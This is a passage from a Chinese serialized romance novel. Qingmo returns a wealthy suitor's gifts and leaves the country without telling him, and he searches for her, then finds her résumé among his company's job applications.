俩人上车后,施友臻问道:“把你平时用的卡号给我一个,给你打零花钱,或者直接拿我的卡。” 清茉揶揄道:“干嘛,哥你上个月不是给转三千块了嘛?” 施友臻想着当时心态,是怕清茉玩得花乱花钱瞎搞,才给限额几千块钱,结果是被她骗了,这会还狡黠地调笑那三千块钱。施友臻嘴角也噙了笑,说着:“直接给你转账吧,还要注明自愿赠与是吗?过年了,去添置喜欢的东西。” 清茉没点接收,想了想,迂回说道:“哥,有空跟我一起的时候逛街买呗。” 施友臻从后座拎过来一个包裹,打开包装盒,里面是一套看起来就很昂贵的HW珠宝,说着:“新年礼物。”然后又牵过清茉的手,给她套上了一对翡翠手镯。 品牌的珠宝还好,毕竟算是有市场价。但是看施友臻送的手镯种水,实在是过于昂贵了,清茉很多年不碰这种昂贵的饰品,以前倒是没少见,现在打眼一看,基本能琢磨出品质跟价值,这种品相市面上流通的都很少,他就这么水灵灵的一送送一对。 清茉有一瞬间的动摇,她想,万一施友臻是真的很慎重的对待呢? 但是又瞬间否定,这些礼物对于她来说,是怎么打拼都不可能消费起的,所以她觉得是天大的事情,但是在施友臻的资产量级中,或许只是稀松平常的一次赠与。你看,这就是天壤之别的差异,她差点就被这些礼物买断了重新规划的前程。 清茉笑着谢谢施友臻,抬着手腕欣赏这对手镯,确实很美,灵动清透得心情都变得很轻盈愉悦,施友臻启动车子,清茉还在欣赏手镯,说着:“哥,以前觉得这种老气,现在觉得好漂亮,以后是不是还会送给我很多?” 施友臻:“嗯,喜欢就好,以后自己挑喜欢的款。” 清茉突然来了句:“哥,刚开始的话,不用送这么贵重的礼物,这是很重视我的意思吗?” 施友臻:“衬你肤色,晚上跟我回狮麟?” 清茉笑:“不要,你刚送礼物就要让我陪夜,太像买的了,不要,我要回家。” 施友臻倒是没难为,但是明确了期限,说着:“跟你的朋友们再玩几天,就当单身派对,大年初一晚上我来接你,之后就是正式同居时间,现在算是给你几天宽限。” 清茉也答应得爽快,说着:“确实需要一点心理过渡,谢谢哥体量。” 施友臻:“好,当你答应了。” 到清茉家楼下的时候,清茉嘱咐施友臻:“哥,我做的曲奇饼干,你早晨配咖啡记得尝一尝。” 施友臻点头,清茉拎着今天收到的礼物上台阶进了单元门,停住脚步回头看向施友臻,把手里东西放下,忍不住重新跑回来,给了施友臻一个很用力的拥抱,说着: “哥,新春快乐,谢谢哥。” 施友臻以为清茉特别喜欢这对手镯,就着拥抱的姿势,把她抱起来,哄道:“这么喜欢?那可以不以让我上楼?” 清茉一愣,施友臻已经抱着她要拾级而上,清茉蹬腿喊停,慌乱说着:“不是,哥,咱说好等我开完单身派对着!不要哥不要!” 施友臻喜欢逗她,看她手足无措的可爱样子,是真的想上楼,问清茉:“那之前为什么让我上楼过夜?” 清茉耳朵尖燥热,说着:“哥,你那时候也没说要跟我探讨繁衍后代的问题啊!” 施友臻亲了亲她的耳尖,问着:“你怎么知道没有?” 清茉挣扎下来,喊着:“小心我手镯,哥!晚安!” 施友臻松开清茉,把她安稳放下来,清茉这次真的跑进楼里,电梯门关掉的那刻,清茉立刻摁了开门键,再次看了一眼施友臻,很用力地记忆着他今天的样子,笑着冲他挥挥手。 清茉脸上维持着灿烂笑容,心里已经开始难过,就这样,算是跟施友臻告别了这一段路程的陪伴。 上楼回到家中,施友臻的专属沙发在变得空荡荡的房间中,大得更加突兀,清茉坐在沙发中,躺倒举起手腕,看着这对手镯。 她好喜欢这对手镯,温凉水润,可遇不可求的珍品。 发了会呆,把手镯褪下,小心收进包装盒,放到准备还给施友臻的物品中,还有施友臻的腕表、衣物,还有他送给清茉的包。 清茉除夕那天早晨开车把施友臻赠与的一切,还有施友臻自用的物品,都送到了狮麟别苑,正好把车也停过去,一并还了,车钥匙放在了茶几上,底下压着一个红包,里面包着三千块钱。 施友臻年末的应酬很多,除夕会直接返回老宅子长辈那边,俩人就此没有时间再见面了。清茉除夕出发前检查好行李证件,跟六六通了个话,道别说着:“我准备出发去机场了。” 六六原本是要送的,清茉不让,丹尼就订了昨天的机票,他俩已经在外面度假了,六六说着:“嗯,到了跟我说一声,丹尼说,我们可以直接从法国飞过去找你玩。” 清茉应着:“你们玩你们的,先别掺和我了,我过去有的忙,放心吧。” 清茉叫的车还没到楼下,她跟六六多聊了几句,再抬眼,突然看到了少衡从车上下来,清茉愣,结束了通话。 少衡看到清茉身边的大行李箱也挺意外,问着:“要出门吗?” 清茉快速冷静下来,笑道:“嗯,准备去旅行,你怎么过来了?不是去长辈那里过年吗?” 少衡又看了眼清茉的行李箱,觉得有些奇怪,说着:“我哥过去就行了,我去不去无所谓,怕你自己过年不热闹,就过来了。准备去哪儿,我跟你一块呗。” 清茉轻叹,说着:“少衡,我订好行程了,你掺和进来是打扰。” 少衡没想到清茉讲这么直白,沉默片刻,说着:“茉茉,你……” 网约车刚好抵达,清茉招了招手,司机下车帮清茉把行李搬上了车,清茉看着兀自站在那里的少衡,还是心软了,过去说着:“少衡,别说‘去不去无所谓’这样的话,你哥是你哥,你是你,打起精神来。” 少衡怕她过年孤单,专程赶过来,其实孤单的可能不是清茉,是少衡自己吧。清茉看着他,想起来自己一个人渡过的那些年节,她猜测少衡在家大业大的施家,也会有诸多不如意,但是他不是处处需要知心姐姐陪伴的小男孩了,少衡该好好成长。 清茉用力拍拍少衡肩膀,说着:“少衡,你好好珍惜平台跟机会,别长成那种何不食肉糜的人,加油哦,我走啦!” 少衡攥住清茉的手腕,介意道:“你已经讨厌我了对吗?” 清茉拍了拍他后背:“那天话说重了,对不起,没有讨厌,就是觉得你好像需要鼓励跟认可,少衡,你的起点已经让很多人望尘莫及了,好好珍惜。” 少衡抱得更紧,问着:“那可以陪我多讲会话吗?旅行什么时候回来?” 清茉安抚道:“回来给你电话,好了,别耍脾气,回去陪长辈好好过年,对了,你记得跟你哥保密,不能说我今天出去旅行了,能保证吗?” 少衡松开她,疑惑:“为什么怕我哥?” 清茉笑:“伤口刚好,怕他不让。” 少衡也皱眉:“那确实不应该出去旅行。” 清茉像小时候那样勾出小拇指,笑着说道:“拉勾,请保守秘密。” 少衡跟她拉勾,强调道:“保密可以,回来记得第一时间约我。” 清茉:“好,没问题。”她从自己随身背包里拿出一包曲奇饼干,还剩了一包,她原本想带在路上吃。 送了一圈,倒是没有给少衡,因为并没有想再单独约他,清茉递给他,说着:“我自己烤的,配咖啡吃很美味,少衡,新春快乐。” 少衡接过,脸上带了笑意,明朗了些,说着:“谢谢茉茉,我也给你准备礼物,新春快乐!” 告别后,清茉上车,出发奔向机场,很顺利地登机后,她换掉了手机卡。飞机冲刺后脱离地面的那刻,推背感像游乐场里的冒险项目,清茉松懈下来,长长舒口气。 冬日的天空辽远蔚蓝,重逢跟别离,都如人生涟漪,波澜之后总会风平浪静,就可以是新的微风细雨、韶韶年华了。 【第一部分 END】《 》 50-60 第51章 第五十一章 施家长辈年节时候会住在北…… 施家长辈年节时候会住在北边郊区的大宅子里, 临近山野,毗邻湖畔,环境很清幽, 院落也足够大,是海内海外施家人一年相聚的重要日子。有人的地方就有江湖,家大业大的施家也少不了明争暗斗的环节, 兄弟妯娌,年年都是场大戏。 不过都是争夺边角料的利益, 施家掌舵的人, 稳稳当当由施友臻担着, 能力手段在那里, 谁也撼动不了, 倒是都想在施友臻面前献献殷勤,能塞人塞人,能要项目要项目。不过, 施友臻油盐不进, 远远近近的亲戚们就在长辈面前央求,让跟施友臻递递好话。 除夕那天下午, 施友臻抵达, 大宅子外面齐整几排人在大门口迎接, 几位叔伯领着家里的小辈客气地跟施友臻问好,迎到屋中, 施友臻向爷爷还有三爷爷问好, 两位老人年事已高,精神矍铄,三爷爷性格温和活跃,瞅着施友臻, 调侃道:“老大,自己回来的?” 施爷爷慢条斯理地吃着自己的茶,点评道:“少说两句吧,你看看这一大屋子,谁能做得了他的主。少衡呢?大过年的这小子又哪儿鬼混了?” 施友臻没接话,几位叔伯也一起落座,三叔从国外回来,给施友臻介绍刚毕业的堂弟,一通自夸,三爷爷帮腔,让施友臻给安排个位置锻炼锻炼,说着:“像少衡负责融恒置业那样,也给他个公司试试手。” 几位站在旁边听着的婶婶也热络推销起家中小辈,你一句我一句,热热闹闹,施友臻谁的话也没接,端坐在那里喝茶,不过低头看了眼手机,他中午给清茉发了条信息,一直没有收到回复,乘车路上打过去电话,提示无法接通。 施友臻怀疑清茉是在拍摄中,她的模特身份是假,不过确实会给六六、丹尼这样的朋友拍摄时装照,是因为拍摄不方便接听电话吗?施友臻心中升起几分烦躁,更加沉默地喝茶,听着年年重复的车轱辘话,很无趣,他想着应该把清茉押过来陪他,就不该心软。 长辈看他不接话、不吭声,相互也看了看眼色,施友臻父亲早年就退出了家族企业管理,闲云散鹤地练练书法画画国画,这会看他大过年也一脸严肃,谁的面儿也不会给的架势很僵硬,虽然众人习以为常,施友臻父亲还是打圆场说着:“都是从年轻人过来的,弟弟妹妹们该提携提携,到底是一家人。” 施友臻还是不接话,黑霸王似的,他爸无语望天,爷爷哄道:“你妈妈让你来了过去一趟,说有东西给你。” 施友臻就立马起身,去他妈妈的院子了。一众女眷在玩牌,见施友臻来了,都起身问好,他妈妈招呼他过来,让其他人帮忙晚饭先出去,很慎重地取出来一个木匣子,说着:“明天张家闺女嘉嘉来拜年,我给她准备的见面礼,你瞧瞧合适不合适。” 匣子中是一对翡翠手镯。 施友臻多看了一眼,品相不错,礼送能拿得出手,但是比送给清茉的那对,差远了。 施友臻又看了眼手机,心中的不安和不满更甚:她怎么还不回信息? 妈妈乐呵呵问着:“那丫头小时候我就喜欢,前段时间跟她父母碰见了,聊得也愉快,友臻,就订下来吧。咱们这种家庭,找个门当户对的踏实人很重要,感情可以慢慢培养,我跟你爸爸结婚前也就见过一面,你看,不也过得不错嘛。” 妈妈又很温和地添了句:“我看你也不讨厌吧,同窗那么多年,嘉嘉对你也衷心得很。” 也就他妈妈敢当着施友臻的面儿聊这些私事儿,施友臻坐在那儿,没搭话,又给清茉拨了通电话,还是无法接听。他把木匣子推给妈妈,难得显露出几分松懈少年气,直白说着:“不讨厌,但是也不喜欢。我给喜欢的人刚送了一对,比您这幅水头好太多。” 施妈妈:“……” 她早就被这祖宗儿子驯化得没脾气了,笑眯眯把镯子收了,佯装气到,打了施友臻几下,骂道:“我还不舍得给呢!好太多是多少?你哪儿搞的?怎么不送给我?” 施友臻理直气壮:“刚拍的,衬我的人。” 施妈妈无语:“白养。”她想着明天的事儿,问施友臻:“你怎么不说啊,你不说家里人怎么知道,那明天嘉嘉来拜年怎么安排?这不抓瞎了吗?跟我讲讲,谁啊?怎么不带来看看?” 施友臻又变回那个不拘言笑的样子,看着心情不咋好,没什么人情味地说着:“我自己的事,自己看着办。” 施妈妈也是人精,商量着:“前头都约好了,硬回绝张嘉那边也不合适,明儿不行我出面透两句活话。到底谁啊,给妈妈看看呗,哪家姑娘?怎么认识的?” 刚刚过来的少衡在院子里大声喊着:“妈!妈!” 他神采奕奕进屋,看着施友臻也在,打招呼道:“哥,你怎么在这里躲清闲,刚才叔伯跟三爷爷抓着我一通念叨。妈,你是不是给他开小灶?明天张嘉姐要来拜年是吗?我听伯母她们都在说这事,开春要定亲吗?” 施妈妈一听,就知道老二屁都不知道,就试探着问他:“你哥跟张嘉也没怎么相处过,谈定亲还太早,都是张嘉那边自己放出来的话,八字没一撇。再说,你哥万一有自己喜欢的人呢。” 少衡抓了一把开心果坐着磕,吐槽着:“等他自己谈恋爱,基本不可能吧。比起叔伯家瞎介绍的那些,我投张嘉姐一票。” 年关上大家都松弛一些,少衡陪施妈妈唠了一会,三爷爷亲自过来喊着一起吃年夜饭,出门前施友臻拉住少衡,问了句:“这两天跟林清茉联系了吗?” 少衡立马想着清茉的秘密约定,果断说着:“没。” 施友臻也就没再多问。 年夜饭的时间对于施友臻来说,变得格外冗长,觥筹交错间他慢慢失去了耐心。手机不离身的社会,连续超过十几个小时无法接通,并不是一个正常状态,除非她大白天就喝醉睡着了,这个概率也不大。 年夜饭吃完,施友臻没有留下守岁,跟长辈辞别后,直接返程了。施友臻在这些事情上向来有特权,他着急忙的事情,应该都是极其重要的事情,家族上下默认了他的来去自由。 施爷爷疑惑问着:“不是嘉嘉明天要来吗?他今天就走了算个什么事儿?” 施妈妈打圆场说着:“友臻您还不知道,他有自己打算,咱们别替他张罗多了,明儿我跟嘉嘉聊。” 施爷爷也就听明白了几分,乐呵道:“难得见友臻走得火急火燎。”他转头问着少衡:“你哥去忙什么你知道吗?” 少衡莫名其妙,说着:“他什么时候不忙?” 施爷爷:“行吧,你陪我打牌去。” 施妈妈站在门口看着远去的车屁股灯,想着,确实难得一见他这么火急火燎,事业上的事儿他从来不动声色,现在怎么看着是一幅要吃爱情苦的样子,施妈妈观察得仔细,瞧着他手机频繁看了不知道多少次,电话也不见人家接通。 郊区到市里两个小时车程,沿路上不时有烟花升起,除夕深夜,清茉的电话还是无法接通,施友臻已经开始担心她的人身安全了,章宁有清茉朋友六六的电话,施友臻要来拨过去,六六倒是接了,但是说不清楚,她跟男朋友在国外玩。 停到清茉楼下的时候,施友臻抬眼去看,她的房间黑洞洞没有光亮,上去敲门也无人应答,施友臻想了想,去了狮麟别苑。 抵达时看到了清茉平日里开的那辆跑车规规矩矩停住专属车位上,施友臻松了口气,看来她跑到这边来了。 他进门是想发火的,不管清茉是睡着了,还是手机出故障,让人大过年提心吊胆就是很不负责任的行为,就该被狠狠教训。 施友臻憋着一肚子火开门,意外发现屋里黑漆漆没有开灯,心又软了下来,小家伙可能是真的睡着了?他进门的脚步都轻了些,打开了客厅的灯。 茶几上整齐摞放的物品,吸引了施友臻的目光,他走过去,看到车钥匙下面压着一个红包,旁边一个盒子,打开看是他之前放在清茉家的腕表。 再旁边,是他送给清茉的礼物,稀有皮的包,一套珠宝,还有清茉说她很喜欢的那对翡翠手镯。 施友臻平生第一次体会到脑子里嗡了一下是什么感觉,简直气笑了,原本应该戴在清茉手腕上的礼物,现在原封不动放在狮麟别苑是什么意思? 他甚至乐观地设想了一下,或许是清茉想搬过来一起住,提前把贵重物品先拿来? 施友臻抱着这样的想法,再次拨打清茉的电话,仍旧是无法接通。 他盯着宛如宣战一样完璧归还的东西,压不住心火,持续拨打清茉手机号,仍旧是徒劳。 施友臻后槽牙都咬紧了,盯着这些东西目光阴沉,他突然想起了什么,他要查询清茉航班信息。 第52章 第五十二章 施友臻拿到林清茉直飞S国…… 施友臻拿到林清茉直飞S国航班信息的时候, 一言不发地坐在沙发上盯着那对翡翠镯子。 清茉戴着镯子的欢喜模样历历在目,衬得手腕白莹莹也像水润流光,施友臻甚至已经订好下一场拍卖的行程, 要带清茉去挑她自己喜欢的款。 他有很多想送给清茉的东西,他笃定漂亮的女孩要去享有他能提供的一切摇曳生姿的繁华,而现在, 清茉将这些东西原封不动返还,是什么意思?那款包, 不是也很喜欢吗?施友臻特意寻找了跟小时候送给清茉那只类似的款, 她收到的时候明明很快乐。 欢喜跟快乐都是伪装吗?伪装的目的是什么?像见到安姨哭泣的那晚一个心理?因为不能接受过去与现在的落差, 所以仍旧决定跟过去的一切划清界限? 施友臻并不认同这种畏缩怯懦的行为, 再说, 他明明是最优选项,清茉选择在他身边,就相当于重新回到优渥的物质生活中。她是要玩欲擒故纵吗?她要是真的选择拒绝, 施友臻倒想给她愚蠢的魄力竖起大拇指。 如果是这样, 那些亲昵的拥吻又算什么。肌肤相接的触感记忆明晰,施友臻也反思是不是被动物性的YU望冲动裹挟, 蒙蔽视线, 没有看清真实的她。她抗拒生理冲动?男女感情如果连生理冲动都没有, 那也算不上感情。 关键是清茉虽然回避做到最后一步,其他的时候也不抗拒, 甚至也已经主动回应。施友臻冷笑, 或许她回避的态度就已经很说明问题,她心里藏着的小九九,原来是毫无预兆的切割消失,他头一遭失算如此。 施友臻没有遇到过这种完全无法理解的情况。 完全无法理解。 唯一能想到的是, 他给予的承诺不够明确,但是盲目承诺并不是他的风格,而且林清茉也没有明确表达感情,彼此是对等阶段。长期关系的确立,需要更进一步的探索磨合,施友臻不认为这是问题的核心。 所以问题出现在哪里? 毫无头绪,无法理解。 这种脱离掌控的感觉非常糟糕,太糟糕了,他无法安心做事,脑子里不停复盘,追问一万遍为什么,更无法接受这种直接断掉联系的情况,但是回想年前清茉的种种言行,又好像能剥离出蛛丝马迹,那些若即若离的瞬间被放大,将此刻变成了一场蓄谋已久。 一场蓄谋已久的切割。 身份是假,暧昧是假,断联是真。 施友臻越想越是被气笑,她图什么呢?哪怕是拿着这对翡翠镯子跑路,逻辑上都能自洽。施友臻拿起茶几上的红包,抽出里面的一沓现金,一张一张数着,数完一张“啪”地用力拍在桌面上: 正正好好三十张,是他给清茉转过的三千块钱零用钱。 施友臻觉得林清茉可真是太棒了,不是打脸,简直就是对他进行了另类的羞辱。 用钱羞辱施友臻,林清茉堪称前无古人后无来者第一人。 他可以接受有始有终,可以接受明确拒绝,但是无法接受这种单方面没有任何交待的抽离,她凭什么可以这样自私任性?或者,她到底哪里不满? 时间早就已经过了航班的落地时间,林清茉的电话仍旧是无法接通,施友臻确认这就是故意而为,虽然想不通她的行为动机和意图。 施友臻从小到大这么多年,活在一个理智分析、理性而为的行为逻辑之中,关于他自己的一切,都是科学的、靠谱的、投入产出比明确的,包括他雷厉风行的管理和投资,不存在任何没有根据的冒进。 但是现在,施友臻气愤之下说走就走,冲动地直接买了直飞S国首都的机票。 章宁来接他去机场的时候,看到施友臻一愣,不过一两日不见,原本就气场两米八的BOSS,铁着脸像是要去劈人。 他提交六六联系方式、查询林小姐航班的时候,隐约有了猜测,但是亲眼见着施友臻如此神情,还是心里一惊,章宁来接施友臻前也试着拨过林清茉手机,还是处于无法接通的状态。 章宁为了确认,也再次跟六六联系,六六支支吾吾,但是她也确实没联系到清茉,被章宁追问得也担心起来,只是说着:“要不等等?她可能……安顿好之后会联系的。” 章宁心里计较一番,送机路上把跟六六联系的情况转述,还是委婉问了一句:“施总,林小姐要是能联系到,您落地后直接去她那边吗?如果联系不到,我这边安排,找一下。” S国首都有融恒集团外贸业务的驻外机构,但是施友臻明显是私人事务外出,章宁得先请示一下,而且真是找人的话,会通过各种留痕渠道进行寻找,需要施友臻明确示下。 除夕刚过,大年初一的城市主干道上,喜庆地悬挂着红灯笼装饰,机场中很多出境旅行的家庭,处处年味十足喜气洋洋的装潢中,章宁听着施友臻冷着声音安排工作,站如松地谨慎应答,如履薄冰,总觉得这事儿蹊跷,但是不敢多问半句。 那边还没有寻到音讯,施友臻已经果断地登机。 十几个小时的飞行中,施友臻逐渐冷静,分析着种种可预见的可能性,他的底线是不会强迫林清茉,但是需要一个明确的答复,一个合理的解释。感天地泣鬼神的忠贞不渝,是遥远的传说故事,施友臻不觉得目前双方的感情已经走到刻骨铭心,但是他不接受这样单方面的抽离。 走出异国机场的那刻,施友臻已经冷峻如常,融恒驻外机构接机的下属诚惶诚恐地迎接,一行人不知道难得一见的BOSS为什么独自前来,载他到下榻酒店后,施友臻自驾了辆车,直接从酒店开了出去,漫无目的地在街道上开着。 失去联系很容易,重逢则需要上天馈赠的机缘。 把车停到热门景点附近,施友臻下车沿途步行,在来来往往的人群中试图找到什么痕迹,他都觉得自己这种盲目冲动很可笑,没有查到林清茉的任何酒店入住记录或者入学记录,语言学校之类的登记也没有,能够登记留痕的地方还在查,但是很难有反馈。 她有什么不满,要用这种方式离开?跟泄愤宣战有什么区别? 施友臻完全不觉得自己哪里有对不住她,而林清茉的所作所为,值得好好报复。异国风情的漂亮街道完全入不了施友臻的眼睛,他蹙眉低沉地沿着街道一路走去。聊天的时候,清茉说喜欢这里的气候和美食,那时候她是不是就定了主意。 施友臻在这个城市中走着消磨了一整天,并没有任何新的消息传来,擦肩而过的人群中,更不见熟悉的影子,大海捞针的寻人注定徒劳,他这次荒诞的冲动之旅注定要无功而返。仍旧是气愤、不甘和无法理解,夜幕降临的时刻,施友臻坐在临街的餐厅用餐,也并没有胃口,浅尝辄止。 施友臻决定,等到明天早晨,如果还没有消息,他就放弃寻找,直接返程,如果必须接受这样的情况,他也决计不会让不负责任的林清茉成为赢家,能够做出的报复,好像只有一件:不再放心上当回事。 喜欢和憎恶,都很奢侈,求而不得的遗憾和爱恋更甚,施友臻不认为林清茉还与这些占据精力的情感匹配。施友臻不会让她如愿捉弄人心,她可以割舍,施友臻其实可以更加果断地舍弃。 清晨的时间截点到来,施友臻直接去了机场返程。 让他冲动地赶来一次,已经是林清茉的特权了,施友臻从小就会给予清茉一些大大小小的特权,比如闯进他的书房,乱翻他的书架,或者替她写作业,让她枕在腿上睡觉,比如……陌生的心动和牵挂。 但是到此而至了。 施友臻认为及时止损也是一种决策能力。 融恒集团年后工作日开工,高层会议上施友臻听取各个高管的工作汇报,会场气场微妙,坐在后排跟会的各个子公司领导层相互也瞧着眼色,施友臻不时打断,指出些欠妥的规划,仍旧是平时直接高效毫无废话的样子。 少衡也坐在会场中参会,他哥除夕夜匆忙离开后就没怎么出现,听说还出国了几天,少衡会前路过听到章大秘嘱咐关系好的财务总监,让他今天发言务必严肃谨慎,不要被施友臻揪住错处,言外之意,他哥心情可能不妙。 少衡也觉得新奇,他哥平日里更像木头人,心情好坏难猜,或者说,情绪起伏空间有限,怎么过了个年还心情不好了?少衡倒是有件事儿得跟他哥说,他怀疑清茉旅行手机被偷了,好几天联系不上,有点担心,需要跟哥说一声。 会后少衡单独瞅着机会溜进施友臻办公室,开口就说着:“哥,清茉有没有联系你?” 施友臻几乎是决定把“林清茉”三个字抹杀,结果不到三四天就破功,听到少衡大咧咧提“清茉”两个字,心中升腾起无名火,蹙眉问道:“没有,怎么了?” 少衡这会如实说道:“哥,除夕那天上午我去找清茉,想陪她过年,正好碰见她要往机场赶,说出去旅行,还不让告诉你,怕你说她伤刚好,不让去。不过这几天清茉电话打不通,是不是在外面被偷了手机?哥,要不要找一找,六六也说没联系上。” 施友臻一听,心底的火烧得更盛,问少衡:“你没问,她要去哪?” 少衡:“没啊,怎么了?” 施友臻指了指门口:“滚出去。” 施友臻看着少衡瞪眼出门,心里更加气愤,弟弟少衡天天口头上亲啊爱啊,这么多天联系不上也吊儿郎当不当回事,而他已经飞了一趟遥远的国度去找寻,几乎绕了半个地球。既然清茉有远走的决心,他也应该有对等的遗忘决心。 施友臻桌上的文件一个字也看不进去,把签字的钢笔重重放下,这种陌生的失控情绪非常让人厌恶。 章宁敲门进来,看着施友臻脸色欲言又止。 施友臻抬眼看他,章宁在威压下不自然地轻轻嗓子,把一份文件放到施友臻面前,解释道:“集团秘书室年前发布了招聘启示,今天完成了初步筛选,给我确认面试名单的时候,看到了这份。” 施友臻蹙眉,章宁这种资深职员,竟然将秘书室的新人招聘的面试名单拿过来,他刚要发脾气,看到了林清茉的名字,要说的话戛然而止,脑中空了一下,荒诞感再次让他无语到想笑,像是遇到了一个特意为他设置的九九八十一难,越是想切割,越是出现,盛夏藤蔓一样枝繁叶茂地将他淹没到窒息。 是林清茉的简历。 一份林清茉的真实履历。 第53章 第五十三章 林清茉的求职简历,从大学…… 林清茉的求职简历, 从大学到研究生的学校、院系、专业,研究方向、发表文章、获得奖项,到工作履历中的职位职责, 承担的重要项目和工作任务,规范制式地在简历表格中一一列明,明确标注着年份月份。 比施友臻从网络上搜索拼凑出来的更加完整, 不知道是不是因为林清茉不辞而别的行为模式打破了固有认知印象,施友臻看着这份简历, 有很强烈的陌生感。 简历是晓杨发出去的。融恒集团整个体系的待遇稳定优渥, 晓杨年前很幸运地拿到了融恒集团旗下文旅企业的职位, 梳理人事工作的时候, 看到集团内部有招聘行政岗位的启示, 就帮清茉投递了简历,不仅投了总部的秘书室,还有其他几个子公司。 章宁负责秘书室所有工作, 因为服务领导, 招聘的时候会格外谨慎,他会参与简历筛选, 今天下属呈上来初筛后的简历给章宁, 章宁看到林清茉的照片也是吃惊, 浏览一遍后立刻急匆匆给施友臻送来。 章宁也一直认为林清茉是职业模特,看到简历才知道有多离谱, 感觉里面的事儿, 大发了。 此刻,施友臻看着这两页纸的简历,他也奇怪林清茉怎么会将简历投递到融恒集团,还是说这是她故意为之的坦白方式?施友臻看着上面留的电话号码, 就是林清茉无法接通的那个号码。 施友臻对这种充满矛盾的行为,又生出几分不满的烦躁。 简历上面从大学开始记录,之前他陪伴清茉成长的岁月,不存在任何记录痕迹,上面留下的,是他不曾参与一丁点的那些年,数行文字,记录着林清茉怎样独自成长,蜕变成一个他不再熟悉、猜不透动机的陌生人。 简历中记录的最近的一份工作的截止月份,是林清茉跟施友臻重逢的那个月,她就职在一个有所耳闻的老牌集团,担任行政部门的机要文秘。 施友臻觉得需要弄清楚林清茉离职的原因,那段时间她有几次明显情绪低落崩溃,不知道是不是跟离职有关系,按照履历上推算,她任职年限不短,按照正常节奏,应该继续升迁,而不是戛然而止在年前突然离职。 融恒集团既然接收到了林清茉的简历,做背调也是正常流程。 施友臻仔仔细细阅读了几遍这份简历,值得深究的有效信息很多,他已经冷静地排列了待办事项,还是那句话,他没有强迫人的变态癖好,但是要追究一个明确缘由,不会让这件事情变成扎在心底的一根刺。 施友臻把章宁喊进来,吩咐着:“把六六约到公司。” 章宁自然不会去问为什么、干什么,林小姐在身边的时候,林小姐的朋友也可以是座上宾,林小姐不在,施总自然不会专程跑一趟。章宁打电话给六六的时候,六六推脱几遍,章宁讲话也就委婉加严肃地说着:“建议还是过来一下,很重要,对多方都好。” 六六还是过来了,她忐忑地站在融恒集团总部大楼外仰望高层的时候,才对施友臻的“施总”称呼有了几分实感,这可是融恒集团。六六觉得清茉可真了不起,玩得够大,舍弃得未免也太潇洒。到底怎样才算是人生捷径? 进出融恒集团总部大厦的人,好像也比旁处格外精致,常年做服装生意的六六,看着男男女女一身身得体职业装在这里穿梭忙碌,又抬头仰望了下可能存在于高层的施友臻办公地点,对于“高攀”两个字,有了沉甸甸的新认识,心里惦念了下清茉。 章宁接她进了一间空旷的会议室,会议室很大,落地窗外可以鸟瞰金融经济区全貌,这个空间就已经有十足的压迫感了,六六正襟危坐,就算预知施友臻会问什么,她还是紧张得口干舌燥,所以清茉是怎么做到在施友臻面前那么自在骄横的? 施友臻过来的时候,六六局促地起身问好,在融恒集团的地界上,会议桌对面威严坐着的施友臻,是这个地域的王,从气场到神态都很陌生,跟之前清茉身边偶尔露出体贴温和的男人,判若两人。 施友臻直接开门见山,问着:“林清茉联系过吗?” 六六摇头。 施友臻显然不会相信,说着:“你不必有额外顾虑,我要确认的,是她的人身安全。” 六六犹豫了一下,她也是聪明孩子,不想得罪施友臻,而且从人之常情来说,确实也可以报一个平安,跟丹尼聊天的时候,丹尼点了个核心,说茉茉可以远走高飞,他们却还是要在这个地界儿扎根发展,多个朋友多条路,更何况是施友臻这种人,别人巴结不上,他们更不能上赶着得罪,哪怕是茉茉夹在中间,情谊之外,也要从实际出发。 六六提前都斟酌好了,这会说着:“她具体在哪里,没有跟我讲,只是说在旅行,用当地电话拨给我的。” 怕施友臻不相信,六六解释道:“清茉年前提过,她出国后,您可能会找我来问,所以她出国的具体行程、联系方式,都没有告诉我,我跟你知道的,差不多。” 施友臻了然,起身,说着:“好,谢谢。” 章宁送六六下楼,走到大厅的时候,章宁又补充了几句,说着:“之后林小姐再有联系的话,麻烦您直接告诉我一声,就当报平安嘛,毕竟相识一场,其他的也不会难为您。为了表达谢意,您在园区新租用的场地,施总已经预支了一年租金,园区那边都已经走过流程,今天麻烦跑一趟,感谢。” 六六:“?” 章宁挥手,转身要上楼,六六拉住他惊讶问着:“一年租金什么情况?不是,不用……” 章宁礼貌道:“施总已经安排好了,您在园区有其他看好的位置,也可以告诉我,融恒来协调,或者融恒自己的园区也可以。” 六六:“!” 章宁离开,六六懵掉,走出大厦打电话给园区负责人确认,对方对六六态度都比以前客气,说融恒集团施总确实预付了一年租金,六六之前押付金额这两天会返回支付账户,园区负责人还兴致盎然打听六六跟融恒集团什么关系。 六六突然就很理解清茉负担的感觉,她又打电话给丹尼,诉说一通,总之不敢要。丹尼倒是豁达看得开,说着:“那你就该报平安报平安,茉茉不是都算到了嘛,什么具体信息也没给你留,你大方接受得了,下次通话跟茉茉说一声。” 施友臻工作繁忙如旧,比年前那段时间更忙,章宁的秘书室几班倒进行陪同,年轻人都觉得吃力,讨论工作的时候都会赞一下施总精力旺盛。唯独章大秘觉得不踏实,天天有种走钢丝的感觉。 上次六六离开后,施友臻没有再就林小姐的话题过问,风淡云轻好像翻篇了一样。章宁揣测不出到底什么意思,但还是私下里追问过六六几次,六六那边没什么新的信儿。 倒春寒的时候,又下了场雪,下雪的夜晚,施友臻离开办公室的时间比平常早些,章宁要去开车,施友臻说他要自己开车走。 降雪让晚高峰的道路拥堵不堪,施友臻打开广播听着新闻,窗外的雪越下越大,像年前的那场,林清茉额头抵在他胸口前,他撑着伞挡住纷纷扰扰的雪花。 开车的时候有些走神,回过神,已经开到了林清茉的小区。 现在想来,换密码估计也是刻意为之。 施友臻把车泊在路边,准备在沿河路边走一走,路过房屋中介的时候,他随意瞥了一眼。施友臻对于数字高度敏感,只一眼,就发现了端倪。 中介立在落地玻璃后面的黑板上,写着一个楼盘单元户号,这是林清茉的房子。 施友臻心中一沉,推门走进中介,经理人热情接待,施友臻直接问了林清茉的房子售卖情况,经理看着施友臻气度不凡,如数家珍介绍道: “还是您有眼光,这套房子一直是房主自住,住得很爱惜,因为出国才要卖,这个小区顶好的位置,又是学区房,不满您说,特别抢手,我这刚放上去,已经很多咨询的了。” 施友臻问:“能看房吗?” 经理点头:“可以可以,对方全权委托给我们这里,您准备什么时候看?” 施友臻:“现在。” 经理:“应该行,我给房主打个电话,稍等。” 施友臻不认为这个房主的电话能打通,可经理就是打通了,站的近,施友臻听到电话那边是男人的声音,有几分耳熟。 